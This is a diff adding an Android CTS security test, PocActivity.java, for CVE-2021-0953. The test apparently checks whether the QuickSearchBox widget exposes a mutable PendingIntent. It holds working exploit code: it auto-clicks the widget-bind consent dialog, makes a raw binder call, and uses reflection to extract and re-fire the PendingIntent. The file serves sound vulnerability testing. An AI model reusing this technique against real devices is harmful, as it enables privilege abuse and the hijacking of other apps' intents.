diff options
Diffstat (limited to 'hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java')
-rw-r--r-- | hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java | 253 |
1 files changed, 253 insertions, 0 deletions
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java new file mode 100644 index 00000000000..3684cbe97cc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java @@ -0,0 +1,253 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import android.app.Activity; +import android.app.PendingIntent; +import android.appwidget.AppWidgetHost; +import android.appwidget.AppWidgetManager; +import android.content.ComponentName; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.Bundle; +import android.os.IBinder; +import android.os.Parcel; +import android.os.RemoteCallback; +import android.os.RemoteException; +import android.widget.RemoteViews; + +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; +import androidx.test.InstrumentationRegistry; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +public class PocActivity extends Activity { + public static int APPWIDGET_ID; + public static int REQUEST_BIND_APPWIDGET = 0; + public static final int TIMEOUT_MS = 10000; + + Class mClRemoteViews; + Field mActions, mResponse, mFldPendingIntent; + Method mGetDeclaredField; + Object mObjSetOnClickResponse; + PendingIntent mPendingIntent; + + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + AppWidgetHost appWidgetHost; + AppWidgetManager appWidgetManager; + PocActivity pocActivity = PocActivity.this; + appWidgetManager = AppWidgetManager.getInstance(this); + appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0); + APPWIDGET_ID = appWidgetHost.allocateAppWidgetId(); + Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND"); + intent.putExtra("appWidgetId", APPWIDGET_ID); + intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox", + "com.android.quicksearchbox.SearchWidgetProvider")); + PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET); + String settingsPkgName = ""; + PackageManager pm = getPackageManager(); + List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); + for (ResolveInfo ri : ris) { + if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) { + settingsPkgName = ri.activityInfo.packageName; + } + } + if (settingsPkgName.equals("")) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Settings package not found/AllowBindAppWidgetActivity not found"); + return; + } + if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to start AllowBindAppWidgetActivity"); + return; + } + boolean buttonClicked = false; + BySelector selector = By.clickable(true); + List<UiObject2> objects = device.findObjects(selector); + for (UiObject2 object : objects) { + String objectText = object.getText(); + String objectClass = object.getClassName(); + if (objectText == null) { + continue; + } + if (objectText.equalsIgnoreCase("CREATE")) { + object.click(); + buttonClicked = true; + break; + } + } + if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "'Create' button not found/clicked"); + return; + } + } + + @Override + public void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + PocActivity pocActivity = PocActivity.this; + if (requestCode == REQUEST_BIND_APPWIDGET) { + if (resultCode == -1) { + APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID); + } + } + RemoteViews remoteViews = + pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID); + if (remoteViews == null) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "remoteViews is null as callBinder() failed"); + return; + } + try { + mClRemoteViews = Class.forName("android.widget.RemoteViews"); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Class android.widget.RemoteViews not found"); + return; + } + Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses(); + Class clSetOnClickResponse = null; + Class clRemoteResponse = null; + for (Class c : rvSubClasses) { + if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) { + clSetOnClickResponse = c; + } + if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) { + clRemoteResponse = c; + } + } + try { + mActions = mClRemoteViews.getDeclaredField("mActions"); + } catch (NoSuchFieldException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mActions field not found"); + return; + } + mActions.setAccessible(true); + try { + mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1); + mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class); + mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse"); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mResponse field not found"); + return; + } + mResponse.setAccessible(true); + try { + mFldPendingIntent = + (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent"); + } catch (IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mPendingIntent field not found"); + return; + } + mFldPendingIntent.setAccessible(true); + try { + mPendingIntent = (PendingIntent) mFldPendingIntent + .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse)); + } catch (IllegalAccessException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to get PendingIntent"); + return; + } + Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class); + spuriousIntent.setPackage(getApplicationContext().getPackageName()); + spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null); + } catch (PendingIntent.CanceledException e) { + // this is expected when vulnerability is not present and hence return + sendTestResult(getResources().getInteger(R.integer.pass), "Pass"); + return; + } + sendTestResult(getResources().getInteger(R.integer.fail), + "Device is vulnerable to b/184046278!!" + + " Mutable PendingIntent in QuickSearchBox widget"); + } + + private IBinder getService(String service) { + try { + Class clServiceManager = Class.forName("android.os.ServiceManager"); + Method mtGetService = clServiceManager.getMethod("getService", String.class); + return (IBinder) mtGetService.invoke(null, service); + } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException + | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Failed to invoke android.os.ServiceManager service"); + return null; + } + } + + private RemoteViews callBinder(String callingPackage, int appWidgetId) { + String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService"; + int GET_APP_WIDGET_VIEWS = 7; + Parcel data = Parcel.obtain(); + Parcel reply = Parcel.obtain(); + RemoteViews remoteViews = null; + IBinder service = getService("appwidget"); + if (service != null) { + data.writeInterfaceToken(INTERFACE_DESCRIPTOR); + data.writeString(callingPackage); + data.writeInt(appWidgetId); + try { + service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0); + } catch (RemoteException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "service.transact() failed due to RemoteException"); + return null; + } + reply.readException(); + if (reply.readInt() != 0) { + remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply); + } + } + return remoteViews; + } + + private void sendTestResult(int statusCode, String errorMessage) { + RemoteCallback cb = + (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key)); + Bundle res = new Bundle(); + res.putString(getString(R.string.message_key), errorMessage); + res.putInt(getString(R.string.status_key), statusCode); + finish(); + cb.sendResult(res); // update callback in test + } +} |